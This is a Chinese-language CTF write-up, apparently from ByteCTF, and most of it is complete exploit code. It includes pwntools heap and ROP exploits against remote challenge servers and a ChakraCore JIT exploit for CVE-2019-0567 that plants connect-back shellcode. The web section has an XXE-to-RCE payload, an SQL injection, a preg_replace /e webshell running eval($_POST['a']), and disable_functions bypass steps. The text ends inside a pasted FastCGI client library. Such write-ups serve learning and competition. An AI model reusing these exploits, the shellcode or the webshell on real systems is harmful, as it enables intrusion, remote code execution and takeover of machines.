签到~
剪刀石头布游戏,每次获胜的规则不一样但找到规律即可,3次一循环,手动打完即可。
一堆图拼吾王。。吾王不懂人心
最后flag,S写大了可还行
区块链题目,主要利用 1 + ~0x01 会下溢这一点
区块链题目,核心点依然是下溢。
大概是四步
随机数
def oldtest(): f=open("old","wb") s="" for i in range(1000): s+=str(random.getrandbits(32))+"\n" f.write(s)
可从 old 文件中取得前 1000 组 randbits
以 624 组计算得初始向量从而可以推算后续所有 randbits 方法得到值
抄个程序生成 1000 组 32bit 后面的 72 组 128bit 值
reference https://www.anquanke.com/post/id/158894?tdsourcetag=s_pcqq_aiomsg#h2-3
# step2 get c_list def state_reverse(state, key): key = long_to_bytes(key) handle = AES.new(key, AES.MODE_CBC, "\x00"*16) output = handle.decrypt(long_to_bytes(state)) return bytes_to_long(output) random_list = open('p_random_128_hex.txt','r').read().strip().split('\n') random_list = [int(op.strip('L'),16) for op in random_list] ''' use_list = [] for kk in range(80): num = 0 for _ in range(4): num = num << 32 num += random_list[kk*4 + 3 - _] use_list.append(num) random_list = use_list # 读取随机数 ''' l_result = open('new','r').read().strip().split('\n') l_result = [int(op.strip('L'),16) for op in l_result] assert len(l_result) == 24 state = [0 for _ in range(48)] old_state = [] for op in range(24): old_state.append(state_reverse(l_result[op],random_list[48+op])) # 再逆向 gen_new_states,新的states根据老states生成的 for op in range(24): state[op] = state_reverse(old_state[op], random_list[24+op]) # print state[:24] c_list = [] for op in range(24): c_list.append(state[op]) # step3 n_list = open('cl','r').read().split('\n')[:-1] n_list = [int(op.strip('L'),16) for op in n_list] assert len(n_list) == len(c_list) def egcd(a, b): if 0 == b: return 1, 0, a x, y, q = egcd(b, a % b) x, y = y, (x - a // b * y) return x, y, q def chinese_remainder(pairs): mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs] mod_product = reduce(lambda x, y: x * y, mod_list) mi_list = [mod_product//x for x in mod_list] mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))] x = 0 for i in range(len(remainder_list)): x += mi_list[i] * mi_inverse[i] * remainder_list[i] x %= mod_product return x params = [] for op in range(24): params.append([n_list[op],c_list[op]]) k = chinese_remainder(params) print gmpy2.iroot(k,17) init_state = gmpy2.iroot(k,17)[1]
得到的init_state,反复使用原函数加密即可得到flag
# coding:utf-8 from z3 import * from Crypto.Util.number import * num = 61406796444626535559771097418338494728649815464609781204026855332620301752444 def generate_init_state(seed): a = 0 for i in bin(seed)[2:]: a = a << 1 if (int(i)): a = a ^ seed if a >> 256: a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223 #print 'a(init_state)',a return a for i in range(10000000): num = generate_init_state(num) tmp = long_to_bytes(num) if 'flag' in tmp or 'byte' in tmp: print tmp
题目中指定了CPU为FakeIntel。同时又给定了长度为0x10的key
将上述数据分别赋值到0x140006070和0x14006890处。
使用peloader加载程序执行解密逻辑即可得到flag
bytectf{d0f20eff6fc4f6060776c8ca63319a1e}
和拟态防御的simplevm类似的虚拟机题目。本题在运行自定义opcode的时候对ebp进行检查时,使用了错误的参数,导致ebp可以越界读写,从而修改结构体中保存的虚拟栈基地址,进而劫持got表。
from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] def memory_set(p, size, payload, eip, esp, ebp): p.sendlineafter('>', 'M') p.sendlineafter('size>', str(size)) p.sendlineafter('size>', str(len(payload))) p.sendlineafter(')', payload) p.sendlineafter('eip>', str(eip)) p.sendlineafter('esp>', str(esp)) p.sendlineafter('ebp>', str(ebp)) def run(p): p.sendlineafter('>', 'R') DEBUG = False #p = process('ezarch') p = remote('112.126.102.73', 9999) if DEBUG: gdb.attach(p) # get heap addr(r14 r15) and elf addr(r12 r13) payload = '/bin/sh\x00' payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp] payload += '\x0A\x00' + p32(0xF) + p32(0) # pop [esp] => r15 payload += '\x01\x10' + p32(0) + p32(0x1004) # add 0x1004 => r0 payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp] payload += '\x0A\x00' + p32(0xE) + p32(0) # pop [esp] => r14 payload += '\x02\x10' + p32(0) + p32(0x1004) # sub 0x1004 => r0 ; set r0 to 0 payload += '\x01\x10' + p32(0) + p32(0x1008) # add 0x1008 => r0 payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp] payload += '\x0A\x00' + p32(0xD) + p32(0) # pop [esp] => r13 payload += '\x02\x10' + p32(0) + p32(0x1008) # sub 0x1008 => r0 ; set r0 to 0 payload += '\x01\x10' + p32(0) + p32(0x100C) # add 0x100C => r0 payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp] payload += '\x0A\x00' + p32(0xC) + p32(0) # pop [esp] => r12 payload += '\x02\x10' + p32(0) + p32(0x100C) # sub 0x100C => r0 ; set r0 to 0 # change stack base payload += '\x01\x10' + p32(0) + p32(0x1008) # add 0x1008 => r0 payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp payload += '\x03\x00' + p32(1) + p32(13) # mov r13 => r1 payload += '\x02\x10' + p32(1) + p32(0xa8) # sub 0xa8 => r1 ; free@got payload += '\x03\x02' + p32(17) + p32(1) # mov r1 => [ebp] # get libc r10,r11 payload += '\x02\x10' + p32(0) + p32(0x1008) # sub 0x1008 => r0 ; set r0 to 0 payload += '\x01\x10' + p32(0) + p32(0x30) # add 0x30 => r0 payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp payload += '\x01\x10' + p32(2) + p32(0x400) # sub 0x400 => r2 payload += '\x03\x00' + p32(16) + p32(2) # mov r2 => esp payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp] payload += '\x0A\x00' + p32(11) + p32(0) # pop [esp] => r11 payload += '\x01\x10' + p32(0) + p32(4) # add 0x4 => r0 payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x34 payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp] payload += '\x0A\x00' + p32(10) + p32(0) # pop [esp] => r10 # get system payload += '\x02\x10' + p32(11) + p32(0x47c30) # sub 0x47c30 => r11 ; r11 <= system low 32 bit addr # change free@got payload += '\x02\x10' + p32(0) + p32(0x34) # sub 0x34 => r0 ; set r0 to 0 payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x0 <= free@got payload += '\x03\x02' + p32(17) + p32(11) # mov r11 => [ebp] payload += '\x01\x10' + p32(0) + p32(4) # add 0x4 => r0 payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x4 payload += '\x03\x02' + p32(17) + p32(10) # mov r10 => [ebp] payload += '\xFF' memory_set(p, 0x4010, payload, 8, 0x10, 0x1000) run(p) p.sendlineafter('>', 'M') p.sendlineafter('size>', str(20)) #bytectf{0ccf4027c269fcbd1d0a74ddd62ba90a} p.interactive() p.close()
程序应该算加了混淆?但是还是很容易就能看清楚程序在做什么。漏洞在free的时候,thread中sleep后清空bss上的chunk地址,导致UAF。
from pwn import * def add(p, size, content): p.sendlineafter('>', 'C') p.sendlineafter('size>', str(size)) p.sendafter('note>', content) def delete(p, idx): p.sendlineafter('>', 'R') p.sendlineafter('index>', str(idx)) def show(p): p.sendlineafter('>', 'S') def edit(p, idx, content): p.sendlineafter('>', 'E') p.sendlineafter('index>', str(idx)) p.sendafter('new note>', content) def pwn(): context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] DEBUG = False libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./mulnote') if DEBUG: p = process('./mulnote') else: p = remote('112.126.101.96', 9999) if DEBUG: gdb.attach(p) add(p, 0x98, 'sunichi') #0 add(p, 0x68, 'sunichi') #1 add(p, 0x68, 'sunichi') #2 delete(p, 0) show(p) p.recvuntil('[*]note[0]:\n') recv = p.recv(6) + '\x00\x00' libc.address = u64(recv) - (0x7fc642ab9b78 - 0x00007fc6426f5000) delete(p, 1) delete(p, 2) edit(p, 2, p64(libc.symbols['__malloc_hook'] - 0x23)) add(p, 0x68, 'sunichi') add(p, 0x68, '\x00\x00\x00' + p64(0) + p64(libc.address + 0xf02a4) + p64(libc.symbols['realloc'])) sleep(15) p.sendlineafter('>', 'C') p.sendlineafter('size>', str(32)) #bytectf{4f10583325b7a40ecd770dbb6fd54d59} print hex(libc.address) p.interactive() p.close() if __name__ == '__main__': pwn()
设置prctl的时候有栈溢出,通过栈溢出修改prctl的规则,使得open(urandom)的时候返回0从而绕过限制。最后做ROP进行orw就可以读出flag了。
from pwn import * def add(p, idx): p.sendlineafter('Your choice: ', str(1)) p.sendlineafter('Index: ', str(idx)) def show(p, idx): p.sendlineafter('Your choice: ', str(2)) p.sendlineafter('Index: ', str(idx)) def delete(p, idx): p.sendlineafter('Your choice: ', str(3)) p.sendlineafter('Index: ', str(idx)) def edit(p, idx, size, content=''): p.sendlineafter('Your choice: ', str(4)) p.sendlineafter('Index: ', str(idx)) p.sendlineafter('Size: ', str(size)) if content == '': return p.send(content) def disable_sandbox(p): payload = '\x00' * 0x20 payload += '\x20\x00\x00\x00\x00\x00\x00\x00' payload += '\x15\x00\x01\x00\x01\x01\x00\x00' payload += '\x06\x00\x00\x00\x00\x00\xFF\x7F' payload += '\x06\x00\x00\x00\x00\x00\x05\x00' p.sendlineafter('Your choice: ', str(6)) p.sendafter('please tell us your name: \n', payload) def pwn(): context.terminal = ['tmux', 'split', '-h'] DEBUG = False libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./vip') if DEBUG: p = process('./vip') else: p = remote('112.126.103.14', 9999) if DEBUG: gdb.attach(p) context.log_level = 'debug' disable_sandbox(p) add(p, 0) add(p, 1) delete(p, 1) payload = 'a' * 0x58 + p64(0x61) + p64(0x404100) edit(p, 0, len(payload), payload) add(p, 2) edit(p, 2, len('./flag\x00'), './flag\x00') #heapaddr add(p, 3) payload = p64(0x404108) + p64(elf.got['puts']) edit(p, 3, len(payload), payload) show(p, 1) libc.address = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts'] payload = p64(libc.symbols['__environ']) edit(p, 0, len(payload), payload) show(p, 1) stack_addr = u64(p.recv(6) + '\x00\x00') payload = p64(0x404110) edit(p, 0, len(payload), payload) show(p, 1) heap_addr = u64(p.recvuntil('\nDone', drop=True).ljust(8, '\x00')) ret_rop = stack_addr - (0x7ffc05877e58 - 0x7ffc05877d68) edit(p, 0, len(payload), p64(ret_rop)) pop_rdi_ret = 0x00000000004018fb pop_rsi_r15_ret = 0x00000000004018f9 pop_rdx_ret = libc.address + 0x0000000000001b96 syscall_ret = libc.address + 0x00000000000d2975 pop_rax_ret = libc.address + 0x00000000000439c8 leave_ret = 0x0000000000401445 pop_rbp_ret = 0x00000000004011d9 rop = p64(pop_rdi_ret) + p64(heap_addr) rop += p64(pop_rsi_r15_ret) + p64(0x0) + p64(0) rop += p64(pop_rdx_ret) + p64(0) rop += p64(pop_rax_ret) + p64(2) rop += p64(syscall_ret) rop += p64(pop_rdi_ret) + p64(3) rop += p64(pop_rsi_r15_ret) + p64(0x00404800) + p64(0) rop += p64(pop_rdx_ret) + p64(0x100) rop += p64(elf.plt['read']) rop += p64(pop_rdi_ret) + p64(0x00404800) rop += p64(elf.plt['puts']) rop += p64(0xdeadbeef) edit(p, 1, len(rop), rop) p.sendlineafter('Your choice: ', str(5)) print hex(heap_addr) print hex(ret_rop) print hex(libc.address) p.interactive() p.close() return 1 #bytectf{2ab64f4ee279e5baf7ab7059b15e6d12} if __name__ == '__main__': pwn() ''' 0x00000000004018f4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004018f6 : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004018f8 : pop r14 ; pop r15 ; ret 0x00000000004018fa : pop r15 ; ret 0x00000000004018f3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004018f7 : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004011d9 : pop rbp ; ret 0x00000000004018fb : pop rdi ; ret 0x00000000004018f9 : pop rsi ; pop r15 ; ret 0x00000000004018f5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401016 : ret 0x0000000000401401 : ret 0x2be 0x0000000000401072 : ret 0x2f 0x00000000004012a2 : ret 0xc604 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009 0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009 0008: 0x06 0x00 0x00 0x00050005 return ERRNO(5) 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL '''
read函数返回值检查的bug,导致向前溢出。
from pwn import * def add(p, idx, size, content): p.sendlineafter('Your choice: ', str(1)) p.sendlineafter('Index: ', str(idx)) p.sendlineafter('size: ', str(size)) if size == len(content): p.sendafter('Content: ', content) else: p.sendlineafter('Content: ', content) def show(p, idx): p.sendlineafter('Your choice: ', str(2)) p.sendlineafter('Index: ', str(idx)) def delete(p, idx): p.sendlineafter('Your choice: ', str(3)) p.sendlineafter('Index: ', str(idx)) def edit(p, idx, content): p.sendlineafter('Your choice: ', str(4)) p.sendlineafter('Index: ', str(idx)) p.send(content) def pwn(): context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] DEBUG = False libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./mheap') if DEBUG: p = process('./mheap') else: p = remote('112.126.98.5', 9999) if DEBUG: gdb.attach(p) add(p, 0, 0x1000 - 0x40 - 0x20, 'sunichi') #1 add(p, 1, 0x10, 'sunichi') #2 add(p, 2, 0x10, 'sunichi!' * 2) #3 delete(p, 1) #4 delete(p, 2) #5 p.sendlineafter('Your choice: ', str(1)) #6 p.sendlineafter('Index: ', str(15)) p.sendlineafter('size: ', str(0x60)) payload = p64(0x20) + p64(0x4040cb) + p64(0) * 2 + p64(0x70) + p64(0)[:7] + '\n' p.sendafter('Content: ', payload) add(p, 1, 0x10, '/bin/sh\x00') #7 payload = 'a' * 5 + p64(elf.got['puts']) add(p, 14, 0x10, payload) #8 show(p, 0) libc.address = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts'] p.sendlineafter('Your choice: ', str(4)) p.sendlineafter('Index: ', str(0)) p.send(p64(libc.address + 0x4f322)) p.sendline('sunichi') p.sendline('cat flag') print hex(libc.address) p.interactive() p.close() #bytectf{34f7e6dd6acf03192d82f0337c8c54ba} if __name__ == '__main__': pwn()
程序没有输出,存在off-by-one漏洞,限制了分配的chunk的大小,导致不能采用0x7f作为fastbin的size。利用off-by-one造成堆块重叠,unsorted bin attack
修改global_max_fast
。之后几乎所有的chunk都属于fastbin的范围内,利用stderror结构体flag字段的0xfb作为chunk的size,可在stdout附近布置好合适的size,再次fastbin attack可以完全控制stdout,泄露libc地址以及修改vtable来getshell
from pwn import * r = lambda p:p.recv() rl = lambda p:p.recvline() ru = lambda p,x:p.recvuntil(x) rn = lambda p,x:p.recvn(x) rud = lambda p,x:p.recvuntil(x,drop=True) s = lambda p,x:p.send(x) sl = lambda p,x:p.sendline(x) sla = lambda p,x,y:p.sendlineafter(x,y) sa = lambda p,x,y:p.sendafter(x,y) def add(p,idx,size): sla(p,'choice>> ',str(1)) sla(p,'idx: ',str(idx)) sla(p,'size: ',str(size)) def edit(p,idx,content): sla(p,'choice>> ',str(2)) sla(p,'idx: ',str(idx)) sa(p,'content: ',content) def delete(p,idx): sla(p,'choice>> ',str(3)) sla(p,'idx: ',str(idx)) DEBUG = 0 ATTACH = 0 context.arch = 'amd64' BIN_PATH = './note_five' elf = ELF(BIN_PATH) context.terminal = ['tmux', 'split', '-h'] def pwn(): if DEBUG == 1: p = process(BIN_PATH) context.log_level = 'debug' if context.arch == 'amd64': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: p = remote('112.126.103.195', 9999) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug' # 0x555555554000 # global_max_fast 0x7ffff7dd37f8 # unsortedbin 0x7ffff7dd1b78 # stdout 0x7ffff7dd2620 # addr 0x7ffff7dd37e8 # free_hook 0x7ffff7dd37a8 # malloc_hook 0x7ffff7dd1b10 # IO_list_all 0x7ffff7dd2520 add(p,0,0xf8) add(p,1,0xf8) add(p,2,0xf8) add(p,3,0xf8) add(p,4,0xf8) # overlap delete(p,0) data = '\x00'*0xf0+p64(0x300)+'\x00' edit(p,2,data) delete(p,3) add(p,0,0xe0) #0 add(p,0,0x100)#0 overlap 1 payload = p64(0)+'\xe8\x37\n' edit(p,2,payload) add(p,3,0x1f0) #3=2 data = p64(0)+p64(0xf1)+'\x00'*0xe0+p64(0)+p64(0x21)+'\n' edit(p,0,data) delete(p,1) data = p64(0)+p64(0xf1)+'\x3b\x25\n' edit(p,0,data) add(p,1,0xe8) add(p,4,0xe8) payload = '\x00'*(0xe0-11-8)+p64(0x101)+p64(0xfbad1800)+'\n' edit(p,4,payload) edit(p,0,p64(0)+p64(0x101)+'\n') delete(p,1) data = p64(0)+p64(0x101)+'\x10\x26\n' edit(p,0,data) add(p,1,0xf8) add(p,4,0xf8) payload = p64(0xfbad1800)+p64(0)*3+'\x00\n' edit(p,4,payload) ru(p,'\x00\x18\xad\xfb') rn(p,28) libc_addr = u64(rn(p,8)) log.info('libc addr: '+hex(libc_addr)) libc_base = libc_addr-(0x7ffff7dd2600-0x7ffff7a0d000) log.info('libc base: '+hex(libc_base)) libc.address = libc_base stdout = libc_base+(0x00007ffff7dd2620-0x7ffff7a0d000) one_gadget = 0xf1147 fake_file = p64(0xfbad2887)+p64(libc.sym['_IO_2_1_stdout_']+131)*7+p64(libc.sym['_IO_2_1_stdout_']+132) fake_file += p64(0)*4+p64(libc.sym['_IO_2_1_stdin_'])+p64(1)+p64(0xffffffffffffffff)+p64(0x000000000b000000)+p64(libc.address+(0x7ffff7dd3780-0x7ffff7a0d000)) fake_file += p64(0xffffffffffffffff)+p64(0)+p64(libc.address+(0x7ffff7dd17a0-0x7ffff7a0d000))+p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2 fake_file += p64(stdout+0xd8-0x30)+p64(libc_base+one_gadget)*2+'\n' if ATTACH==1: gdb.attach(p,''' b *0x555555554000+0xecd b *0x555555554000+0xb72 ''') edit(p,4,fake_file) p.interactive() if __name__ == '__main__': pwn() # 0x45216 execve("/bin/sh", rsp+0x30, environ) # constraints: # rax == NULL # 0x4526a execve("/bin/sh", rsp+0x30, environ) # constraints: # [rsp+0x30] == NULL # 0xf02a4 execve("/bin/sh", rsp+0x50, environ) # constraints: # [rsp+0x50] == NULL # 0xf1147 execve("/bin/sh", rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL
Patch 复现了 chakracore 引擎的 JIT 漏洞 CVE-2019-0567,忽略 InitProto opcode 的 side effect,导致 JIT 无法正确的识别处理 InitProto 时的类型变化,导致 Type Confusion。Exploit 使用了 Obj -> Dataview -> Dataview 的内存布局来实现 Arbitrary R/W,最终通过覆写 memmove 的 got 地址为shellcode来 getshell
obj = {} obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4; obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8; obj.i = 9; obj.j = 10; dv1 = new DataView(new ArrayBuffer(0x100)); dv2 = new DataView(new ArrayBuffer(0x100)); dv2.setUint32(0, 0xdead,true); BASE = 0x100000000; function hex(x) { return "0x" + x.toString(16); } function opt(o, proto, value){ o.b = 1; let tmp = {__proto__: proto}; o.a = value; } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, {}, {}); } let o = {a: 1, b: 2}; opt(o, o, obj); o.c = dv1 obj.h = dv2; let read64 = function(addr_lo, addr_hi) { // dv2->buffer = addr (Step 4) dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3C, addr_hi, true); // read from addr (Step 5) return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE; } let write64 = function(addr_lo, addr_hi, value_lo, value_hi) { // dv2->buffer = addr (Step 4) dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3C, addr_hi, true); // write to addr (Step 5) dv2.setInt32(0, value_lo, true); dv2.setInt32(4, value_hi, true); } // get dv2 vtable pointer vtable_lo = dv1.getUint32(0, true); vtable_hi = dv1.getUint32(4, true); let libc_addr = vtable_lo + vtable_hi * BASE let libc_base = libc_addr-(0x7ffff47cc6e0-0x00007ffff39c8000) // let memove_got_addr = libc_base+0xe38128 let memove_got_addr = libc_base+0xe53108 print("[+] dv2.vtable pointer: "+hex(vtable_lo + vtable_hi * BASE)); print("[+] libc base: "+hex(libc_base)); print("[+] memmove got addr: "+hex(memove_got_addr)); //get dv2 buffer poointer buf_lo=dv1.getUint32(0x38,true) buf_hi=dv1.getUint32(0x3C,true) let shelladdr = buf_lo + buf_hi * BASE let shellbase = shelladdr-(0x555555847360-0x00005555557d0000) // read first vtable entry using the R\W primitive print("[+] dv2.vtable content: "+hex(shelladdr)); print("[+] shellbase: "+hex(shellbase)) print("[+] dv2.buffer pointer: "+hex(libc_addr)); // [+] dv2.vtable pointer: 0x7ffff49e95e0 // [+] dv2.buffer pointer: 0x555555847360 // [+] dv2.vtable content: 0x7ffef3d9a8e0 // read first vtable entry using the R\W primitive print("[+] dv2.buffer content: "+hex(read64(buf_lo, buf_hi))); // write memove got // var shellcode = [0xb848686a,0x6e69622f,0x732f2f2f,0xe7894850,0x1697268,0x24348101,0x1010101,0x6a56f631,0x1485e08,0x894856e6,0x6ad231e6,0x50f583b]; var shellcode = [0x9958296a,0x6a5f026a,0x50f5e01,0xb9489748,0x8520002,0xbc9ae168,0xe6894851,0x6a5a106a,0x50f582a,0x485e036a,0x216aceff,0x75050f58,0x583b6af6,0x2fbb4899,0x2f6e6962,0x53006873,0x52e78948,0xe6894857,0x50f]; print("shellcode len"+hex(shellcode.length)); // print("[+] shellcode: "+hex(shellcode[0])); let offset = 0x400 for (var i = 0; i < shellcode.length/2+1; ++i) { if(i*2+1>shellcode.length) write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],0xdeadbeef); else write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],shellcode[i*2+1]); } write64(vtable_lo+0x4ea28,vtable_hi,buf_lo+offset,buf_hi) // trigger var target = new Uint8Array(0x1234); var bb = new Uint8Array(10); target.set(bb); } main();
首先先注册一个**baidu.com
的域名,来绕过下面几个题的一些问题。
通过访问**baidu.com/1.txt
来进行XXE,读取源码。
之后构造,进行SSRF,在$_GET['order']='title,"1")&&phpinfo()&&strcmp($a->title';
RCE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://是IP/file/example&order=%74%69%74%6c%65%2c%22%31%22%29%26%26%73%79%73%74%65%6d%28%27%63%61%74%20%2f%66%6c%61%67%5f%65%62%38%62%61%32%65%62%30%37%37%30%32%65%36%39%39%36%33%61%37%64%36%61%62%38%36%36%39%31%33%34%27%29%26%26%73%74%72%63%6d%70%28%24%61%2d%3e%74%69%74%6c%65" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>[email protected]</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
存在二次注入
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}
先通过堆叠注入,insert一个VIP
使用insert users set username='xxx'....
绕过
之后在使用replace.php的preg_replace 用/e RCE
其中使用mitmproxy做中间件,解决antword链接问题
from mitmproxy import http
def request(flow):
flow.request.urlencoded_form["find"] = "/e\x00"
flow.request.urlencoded_form["replace"] = "ob_end_clean()&&eval($_POST['a'])&&ob_end_clean()"
flow.request.urlencoded_form["regex"] = "1"
flow.request.urlencoded_form["id"] = "21"
之后
putenv LD_PRELOAD
error_log
fpm绕过basedir // 这个居然没绕过disable_function神奇
<?php
/*
* This file is part of PHP-FastCGI-Client.
*
* (c) Pierrick Charron <[email protected]>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
namespace Adoy\FastCGI;
class TimedOutException extends \Exception {}
class ForbiddenException extends \Exception {}
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <[email protected]>
* @version 1.0.0
*/
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Outstanding request statuses keyed by request id
*
* Each request is an array with following form:
*
* array(
* 'state' => REQ_STATE_*
* 'response' => null | string
* )
*
* @var array
*/
private $_requests = array();
/**
* Use persistent sockets to connect to backend
* @var Boolean
*/
private $_persistentSocket = false;
/**
* Connect timeout in milliseconds
* @var Integer
*/
private $_connectTimeout = 5000;
/**
* Read/Write timeout in milliseconds
* @var Integer
*/
private $_readWriteTimeout = 5000;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port)
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Define whether or not PHP should attempt to re-use sockets opened by previous
* request for efficiency
*
* @param Boolean $b true if persistent socket should be used, false otherwise
*/
public function setPersistentSocket($b)
{
$was_persistent = ($this->_sock && $this->_persistentSocket);
$this->_persistentSocket = (boolean)$b;
if (!$this->_persistentSocket && $was_persistent) {
fclose($this->_sock);
}
}
/**
* Get the pesistent socket status
*
* @return Boolean true if the socket should be persistent, false otherwise
*/
public function getPersistentSocket()
{
return $this->_persistentSocket;
}
/**
* Set the connect timeout
*
* @param Integer number of milliseconds before connect will timeout
*/
public function setConnectTimeout($timeoutMs)
{
$this->_connectTimeout = $timeoutMs;
}
/**
* Get the connect timeout
*
* @return Integer number of milliseconds before connect will timeout
*/
public function getConnectTimeout()
{
return $this->_connectTimeout;
}
/**
* Set the read/write timeout
*
* @param Integer number of milliseconds before read or write call will timeout
*/
public function setReadWriteTimeout($timeoutMs)
{
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout($this->_readWriteTimeout);
}
/**
* Get the read timeout
*
